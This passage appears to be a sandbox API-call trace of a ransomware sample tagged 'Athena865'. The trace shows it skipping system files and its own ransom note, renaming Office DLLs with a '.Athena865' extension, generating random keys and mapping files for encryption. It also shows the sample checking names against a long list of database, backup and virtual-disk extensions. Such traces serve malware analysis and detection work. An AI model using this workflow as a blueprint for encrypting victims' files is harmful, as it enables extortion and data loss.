(lpString1="STSUPLD.DLL", lpString2="temp") returned -1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="pagefile.sys") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="boot") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="ids.txt") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="ntuser.dat") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="perflogs") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="MSBuild") returned 1 [0094.638] lstrlenW (lpString="STSUPLD.DLL") returned 11 [0094.638] lstrcpyW (in: lpString1=0x241e8aa, lpString2="STSUPLD.DLL" | out: lpString1="STSUPLD.DLL") returned="STSUPLD.DLL" [0094.638] lstrlenW (lpString="STSUPLD.DLL") returned 11 [0094.638] lstrlenW (lpString="Athena865") returned 9 [0094.638] lstrcmpiW (lpString1="SUPLD.DLL", lpString2="Athena865") returned 1 [0094.638] lstrlenW (lpString=".dll") returned 4 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".dll") returned 1 [0094.639] lstrlenW (lpString=".lnk") returned 4 [0094.639] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".lnk") returned 1 [0094.639] lstrlenW (lpString=".ini") returned 4 [0094.639] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".ini") returned 1 [0094.639] lstrlenW (lpString=".sys") returned 4 [0094.639] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".sys") returned 1 [0094.639] lstrlenW (lpString="STSUPLD.DLL") returned 11 [0094.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSUPLD.DLL.Athena865") returned 70 [0094.639] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSUPLD.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stsupld.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSUPLD.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stsupld.dll.athena865"), dwFlags=0x1) returned 1 [0094.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSUPLD.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stsupld.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.640] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71552) returned 1 [0094.640] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.641] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.641] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.641] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a80, lpName=0x0) returned 0x17c [0094.642] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a80) returned 0x100000 [0094.646] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.647] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.647] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.648] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd688b020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x22568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMLVB.DLL", cAlternateFileName="")) returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="..") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="windows") returned -1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="bootmgr") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="temp") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="pagefile.sys") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="boot") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="ids.txt") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="ntuser.dat") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="perflogs") returned 1 [0094.648] lstrcmpiW (lpString1="UMLVB.DLL", lpString2="MSBuild") returned 1 [0094.648] lstrlenW (lpString="UMLVB.DLL") returned 9 [0094.648] lstrcpyW (in: lpString1=0x241e8aa, lpString2="UMLVB.DLL" | out: lpString1="UMLVB.DLL") returned="UMLVB.DLL" [0094.648] lstrlenW (lpString="UMLVB.DLL") returned 9 [0094.649] lstrlenW (lpString="Athena865") returned 9 [0094.649] lstrlenW (lpString=".dll") returned 4 [0094.649] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".dll") returned 1 [0094.649] lstrlenW (lpString=".lnk") returned 4 [0094.649] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".lnk") returned 1 [0094.649] lstrlenW (lpString=".ini") returned 4 [0094.649] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".ini") returned 1 [0094.649] lstrlenW (lpString=".sys") returned 4 [0094.649] lstrcmpiW (lpString1="UMLVB.DLL", lpString2=".sys") returned 1 [0094.649] lstrlenW (lpString="UMLVB.DLL") returned 9 [0094.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVB.DLL.Athena865") returned 68 [0094.649] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvb.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvb.dll.athena865"), dwFlags=0x1) returned 1 [0094.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\UMLVB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\umlvb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.650] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=140648) returned 1 [0094.650] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.651] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.651] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.651] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22870, lpName=0x0) returned 0x17c [0094.652] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22870) returned 0x170000 [0094.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.661] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.661] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.663] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x22768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UMLVC60.DLL", cAlternateFileName="")) returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="..") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="windows") returned -1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="bootmgr") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="temp") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="pagefile.sys") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="boot") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="ids.txt") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="ntuser.dat") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="perflogs") returned 1 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2="MSBuild") returned 1 [0094.663] lstrlenW (lpString="UMLVC60.DLL") returned 11 [0094.663] lstrcpyW (in: lpString1=0x241e8aa, lpString2="UMLVC60.DLL" | out: lpString1="UMLVC60.DLL") returned="UMLVC60.DLL" [0094.663] lstrlenW (lpString="UMLVC60.DLL") returned 11 [0094.663] lstrlenW (lpString="Athena865") returned 9 [0094.663] lstrcmpiW (lpString1="LVC60.DLL", lpString2="Athena865") returned 1 [0094.663] lstrlenW (lpString=".dll") returned 4 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".dll") returned 1 [0094.663] lstrlenW (lpString=".lnk") returned 4 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".lnk") returned 1 [0094.663] lstrlenW (lpString=".ini") returned 4 [0094.663] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".ini") returned 1 [0094.663] lstrlenW (lpString=".sys") returned 4 [0094.664] lstrcmpiW (lpString1="UMLVC60.DLL", lpString2=".sys") returned 1 [0094.664] lstrlenW (lpString="UMLVC60.DLL") returned 11 [0094.664] lstrlenW (lpString="bak") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.664] lstrlenW (lpString="ba_") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.664] lstrlenW (lpString="dbb") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.664] lstrlenW (lpString="vmdk") returned 4 [0094.664] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.664] lstrlenW (lpString="rar") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.664] lstrlenW (lpString="zip") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.664] lstrlenW (lpString="tgz") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.664] lstrlenW (lpString="vbox") returned 4 [0094.664] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.664] lstrlenW (lpString="vdi") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.664] lstrlenW (lpString="vhd") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.664] lstrlenW (lpString="vhdx") returned 4 [0094.664] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.664] lstrlenW (lpString="avhd") returned 4 [0094.664] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.664] lstrlenW (lpString="db") returned 2 [0094.664] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.664] lstrlenW (lpString="db2") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.664] lstrlenW (lpString="db3") returned 3 [0094.664] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.665] lstrlenW (lpString="dbf") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.665] lstrlenW (lpString="mdf") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.665] lstrlenW (lpString="mdb") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.665] lstrlenW (lpString="sql") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.665] lstrlenW (lpString="sqlite") returned 6 [0094.665] lstrcmpiW (lpString1="60.DLL", lpString2="sqlite") returned -1 [0094.665] lstrlenW (lpString="sqlite3") returned 7 [0094.665] lstrcmpiW (lpString1="C60.DLL", lpString2="sqlite3") returned -1 [0094.665] lstrlenW (lpString="sqlitedb") returned 8 [0094.665] lstrcmpiW (lpString1="VC60.DLL", lpString2="sqlitedb") returned 1 [0094.665] lstrlenW (lpString="xml") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.665] lstrlenW (lpString="$er") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.665] lstrlenW (lpString="4dd") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.665] lstrlenW (lpString="4dl") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.665] lstrlenW (lpString="^^^") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.665] lstrlenW (lpString="abs") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.665] lstrlenW (lpString="abx") returned 3 [0094.665] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.665] lstrlenW (lpString="accdb") returned 5 [0094.665] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0094.665] lstrlenW (lpString="accdc") returned 5 [0094.665] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0094.666] lstrlenW (lpString="accde") returned 5 [0094.666] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0094.666] lstrlenW (lpString="accdr") returned 5 [0094.666] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0094.666] lstrlenW (lpString="accdt") returned 5 [0094.666] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0094.666] lstrlenW (lpString="accdw") returned 5 [0094.666] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0094.666] lstrlenW (lpString="accft") returned 5 [0094.666] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0094.666] lstrlenW (lpString="adb") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.666] lstrlenW (lpString="adb") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.666] lstrlenW (lpString="ade") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.666] lstrlenW (lpString="adf") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.666] lstrlenW (lpString="adn") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.666] lstrlenW (lpString="adp") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.666] lstrlenW (lpString="alf") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.666] lstrlenW (lpString="ask") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.666] lstrlenW (lpString="btr") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.666] lstrlenW (lpString="cat") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.666] lstrlenW (lpString="cdb") returned 3 [0094.666] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.667] lstrlenW (lpString="ckp") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.667] lstrlenW (lpString="cma") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.667] lstrlenW (lpString="cpd") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.667] lstrlenW (lpString="dacpac") returned 6 [0094.667] lstrcmpiW (lpString1="60.DLL", lpString2="dacpac") returned -1 [0094.667] lstrlenW (lpString="dad") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.667] lstrlenW (lpString="dadiagrams") returned 10 [0094.667] lstrcmpiW (lpString1="MLVC60.DLL", lpString2="dadiagrams") returned 1 [0094.667] lstrlenW (lpString="daschema") returned 8 [0094.667] lstrcmpiW (lpString1="VC60.DLL", lpString2="daschema") returned 1 [0094.667] lstrlenW (lpString="db-journal") returned 10 [0094.667] lstrcmpiW (lpString1="MLVC60.DLL", lpString2="db-journal") returned 1 [0094.667] lstrlenW (lpString="db-shm") returned 6 [0094.667] lstrcmpiW (lpString1="60.DLL", lpString2="db-shm") returned -1 [0094.667] lstrlenW (lpString="db-wal") returned 6 [0094.667] lstrcmpiW (lpString1="60.DLL", lpString2="db-wal") returned -1 [0094.667] lstrlenW (lpString="dbc") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.667] lstrlenW (lpString="dbs") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.667] lstrlenW (lpString="dbt") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.667] lstrlenW (lpString="dbv") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.667] lstrlenW (lpString="dbx") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.667] lstrlenW (lpString="dcb") returned 3 [0094.667] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.668] lstrlenW (lpString="dct") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.668] lstrlenW (lpString="dcx") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.668] lstrlenW (lpString="ddl") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.668] lstrlenW (lpString="dlis") returned 4 [0094.668] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.668] lstrlenW (lpString="dp1") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.668] lstrlenW (lpString="dqy") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.668] lstrlenW (lpString="dsk") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.668] lstrlenW (lpString="dsn") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.668] lstrlenW (lpString="dtsx") returned 4 [0094.668] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.668] lstrlenW (lpString="dxl") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.668] lstrlenW (lpString="eco") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.668] lstrlenW (lpString="ecx") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.668] lstrlenW (lpString="edb") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0094.668] lstrlenW (lpString="epim") returned 4 [0094.668] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.668] lstrlenW (lpString="fcd") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.668] lstrlenW (lpString="fdb") returned 3 [0094.668] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.668] lstrlenW (lpString="fic") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.669] lstrlenW (lpString="flexolibrary") returned 12 [0094.669] lstrlenW (lpString="fm5") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.669] lstrlenW (lpString="fmp") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.669] lstrlenW (lpString="fmp12") returned 5 [0094.669] lstrcmpiW (lpString1="0.DLL", lpString2="fmp12") returned -1 [0094.669] lstrlenW (lpString="fmpsl") returned 5 [0094.669] lstrcmpiW (lpString1="0.DLL", lpString2="fmpsl") returned -1 [0094.669] lstrlenW (lpString="fol") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.669] lstrlenW (lpString="fp3") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.669] lstrlenW (lpString="fp4") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.669] lstrlenW (lpString="fp5") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.669] lstrlenW (lpString="fp7") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.669] lstrlenW (lpString="fpt") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.669] lstrlenW (lpString="frm") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.669] lstrlenW (lpString="gdb") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.669] lstrlenW (lpString="gdb") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.669] lstrlenW (lpString="grdb") returned 4 [0094.669] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.669] lstrlenW (lpString="gwi") returned 3 [0094.669] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.670] lstrlenW (lpString="hdb") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.670] lstrlenW (lpString="his") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.670] lstrlenW (lpString="ib") returned 2 [0094.670] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.670] lstrlenW (lpString="idb") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.670] lstrlenW (lpString="ihx") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.670] lstrlenW (lpString="itdb") returned 4 [0094.670] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.670] lstrlenW (lpString="itw") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.670] lstrlenW (lpString="jet") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.670] lstrlenW (lpString="jtx") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.670] lstrlenW (lpString="kdb") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.670] lstrlenW (lpString="kexi") returned 4 [0094.670] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.670] lstrlenW (lpString="kexic") returned 5 [0094.670] lstrcmpiW (lpString1="0.DLL", lpString2="kexic") returned -1 [0094.670] lstrlenW (lpString="kexis") returned 5 [0094.670] lstrcmpiW (lpString1="0.DLL", lpString2="kexis") returned -1 [0094.670] lstrlenW (lpString="lgc") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.670] lstrlenW (lpString="lwx") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.670] lstrlenW (lpString="maf") returned 3 [0094.670] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.670] lstrlenW (lpString="maq") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.671] lstrlenW (lpString="mar") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.671] lstrlenW (lpString="marshal") returned 7 [0094.671] lstrcmpiW (lpString1="C60.DLL", lpString2="marshal") returned -1 [0094.671] lstrlenW (lpString="mas") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0094.671] lstrlenW (lpString="mav") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.671] lstrlenW (lpString="maw") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.671] lstrlenW (lpString="mdbhtml") returned 7 [0094.671] lstrcmpiW (lpString1="C60.DLL", lpString2="mdbhtml") returned -1 [0094.671] lstrlenW (lpString="mdn") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.671] lstrlenW (lpString="mdt") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.671] lstrlenW (lpString="mfd") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.671] lstrlenW (lpString="mpd") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.671] lstrlenW (lpString="mrg") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.671] lstrlenW (lpString="mud") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.671] lstrlenW (lpString="mwb") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.671] lstrlenW (lpString="myd") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.671] lstrlenW (lpString="ndf") returned 3 [0094.671] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.671] lstrlenW (lpString="nnt") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.672] lstrlenW (lpString="nrmlib") returned 6 [0094.672] lstrcmpiW (lpString1="60.DLL", lpString2="nrmlib") returned -1 [0094.672] lstrlenW (lpString="ns2") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.672] lstrlenW (lpString="ns3") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.672] lstrlenW (lpString="ns4") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.672] lstrlenW (lpString="nsf") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.672] lstrlenW (lpString="nv") returned 2 [0094.672] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.672] lstrlenW (lpString="nv2") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.672] lstrlenW (lpString="nwdb") returned 4 [0094.672] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.672] lstrlenW (lpString="nyf") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.672] lstrlenW (lpString="odb") returned 3 [0094.672] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.672] lstrlenW 